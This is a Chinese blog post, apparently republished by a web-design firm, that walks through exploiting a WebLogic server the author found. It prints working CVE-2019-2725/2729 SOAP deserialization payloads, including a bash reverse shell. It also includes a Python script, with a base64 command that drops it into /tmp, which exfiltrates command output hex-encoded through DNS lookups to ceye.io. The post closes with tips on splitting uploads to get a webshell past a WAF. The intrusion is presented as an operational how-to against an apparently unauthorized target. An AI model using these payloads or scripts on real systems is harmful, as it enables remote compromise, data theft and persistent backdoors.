這篇文章給大家介紹weblogic命令執(zhí)行如何利用DNSlog進(jìn)行利用,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。
創(chuàng)新互聯(lián)專注于鐘山網(wǎng)站建設(shè)服務(wù)及定制,我們擁有豐富的企業(yè)做網(wǎng)站經(jīng)驗(yàn)。 熱誠為您提供鐘山營(yíng)銷型網(wǎng)站建設(shè),鐘山網(wǎng)站制作、鐘山網(wǎng)頁設(shè)計(jì)、鐘山網(wǎng)站官網(wǎng)定制、小程序設(shè)計(jì)服務(wù),打造鐘山網(wǎng)絡(luò)公司原創(chuàng)品牌,更為您提供鐘山網(wǎng)站排名全網(wǎng)營(yíng)銷落地服務(wù)。
遇到一個(gè)weblogic站點(diǎn):
訪問常見的幾個(gè)路徑看是否存在:
/console/login/LoginForm.jsp /uddiexplorer/SearchPublicRegistries.jsp /wls-wsat/CoordinatorPortType /_async/AsyncResponseService
運(yùn)氣爆棚,剛好存在/_async/AsyncResponseService
這個(gè)路徑:
拿出shack2大神的weblogic RCE工具驗(yàn)證一波:
工具沒打成功,猜測(cè)可能是被waf攔截。好奇的用自己收集的payload一個(gè)一個(gè)試,沒想到成功執(zhí)行了一個(gè)能獲取dnslog記錄的payload:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>http://zdg537uqx2an3qcx104ez2ak6bc10q.burpcollaborator.net</string></void></class></java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
這個(gè)是2729的payload,于是就用相應(yīng)命令執(zhí)行的payload來執(zhí)行命令,結(jié)果失敗了。有大神指點(diǎn)說可以用2725的payload來打:
于是找了去年HW放出來的2725的payload:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
但是又出現(xiàn)了新的問題,這是一段不能回顯命令結(jié)果的payload,無奈我又去請(qǐng)教大神,大神給了我思路,可以通過dnslog來獲取結(jié)果,并且把腳本也給了我:
p.py
:
import os import sys import subprocess def exp(cmd, id): p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) p.wait() pipe = p.stdout i = 100 while True: result = pipe.read(30) if not result: break os.popen('wget --no-dns-cache --tries=1 -T 1 --output-document=/dev/null %s.%s.%s.xxx.ceye.io' % (id, i, result.encode('hex'))) i += 1 exp(sys.argv[1], sys.argv[2])
result.py
:
import requests import sys from requests.exceptions import RequestException from requests.packages.urllib3.exceptions import InsecureRequestWarning dnslog_exec = u"i2kuwq.ceye.io" dnslog_exec_api = u"http://api.ceye.io/v1/records?token=xxxxxxxxxx1ae18f473ef27d0a&type=dns&filter={0}" req = requests.get(dnslog_exec_api.format(sys.argv[1]), timeout=30) rsp = req.json() if rsp[u"data"]: exec_result = list(set([rsp[u"data"][i][u"name"] for i in xrange(len(rsp[u'data']))])) exec_result.sort() print (u"".join(map(lambda n: n[4 + 5: -1 - len(dnslog_exec)], exec_result)).decode("hex")).strip() else: print u"No output."
思路如下:
1、利用echo命令將p.py
寫入到tmp目錄下,然后利用python執(zhí)行代碼,通過python腳本執(zhí)行命令然后將命令結(jié)果hex編碼請(qǐng)求到dnslog中。
2、本地執(zhí)行result.py
腳本調(diào)用ceyeAPI獲取dnslog記錄,并hex解碼獲取結(jié)果內(nèi)容。
寫文件:
touch /tmp/pp.py && echo aW1wb3J0IG9zCmltcG9ydCBzeXMKaW1wb3J0IHN1YnByb2Nlc3MKCmRlZiBleHAoY21kLCBpZCk6CiAgICBwID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwc**jZXNzLlBJUEUpCiAgICBwLndhaXQoKQogICAgcGlwZSA9IHAuc3Rkb3V0CiAgICBpID0gMTAwCiAgICB3aGlsZSBUcnVlOgogICAgICAgIHJlc3VsdCA9IHBpcGUucmVhZCgzMCkKICAgICAgICBpZiBub3QgcmVzdWx0OiBicmVhawogICAgICAgIG9zLnBvcGVuKCd3Z2V0IC0tbm8tZG5zLWNhY2hlIC0tdHJpZXM9MSAtVCAxIC0tb3V0cHV0LWRvY3VtZW50PS9kZXYvbnVsbCAlcy4lcy4lcy4wYWN5ZncuY2V5ZS5pbycgJSAoaWQsIGksIHJlc3VsdC5lbmNvZGUoJ2hleCcpKSkKICAgICAgICBpICs9IDEKCmV4cChzeXMuYXJndlsxXSwgc3lzLmFyZ3ZbMl0pCg== | base64 -d >/tmp/pp.py
執(zhí)行命令:
/usr/bin/python /tmp/pp.py 命令 1234
查看dnslog記錄:
本地讀取結(jié)果:
python2 result.py 1235
最后通過dnslog記錄獲取到web路徑,然后寫入webshell文件:
寫馬過程中遇到的坑:
1、網(wǎng)站存在waf,當(dāng)POST內(nèi)容長(zhǎng)度超過200就會(huì)觸發(fā),所以只能通過分段的方式來寫入webshell。
2、懷疑之前使用工具進(jìn)行驗(yàn)證也是由于數(shù)據(jù)包超長(zhǎng)觸發(fā)waf導(dǎo)致不能執(zhí)行命令。
3、通過ceye的api接口獲取到的dnslog記錄不能超過5頁,超過5頁就會(huì)被覆蓋。
關(guān)于weblogic命令執(zhí)行如何利用dnslog進(jìn)行利用就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。
網(wǎng)頁標(biāo)題:weblogic命令執(zhí)行如何利用dnslog進(jìn)行利用
標(biāo)題鏈接:http://jinyejixie.com/article40/ppioeo.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供App開發(fā)、網(wǎng)站設(shè)計(jì)、用戶體驗(yàn)、品牌網(wǎng)站建設(shè)、搜索引擎優(yōu)化、小程序開發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)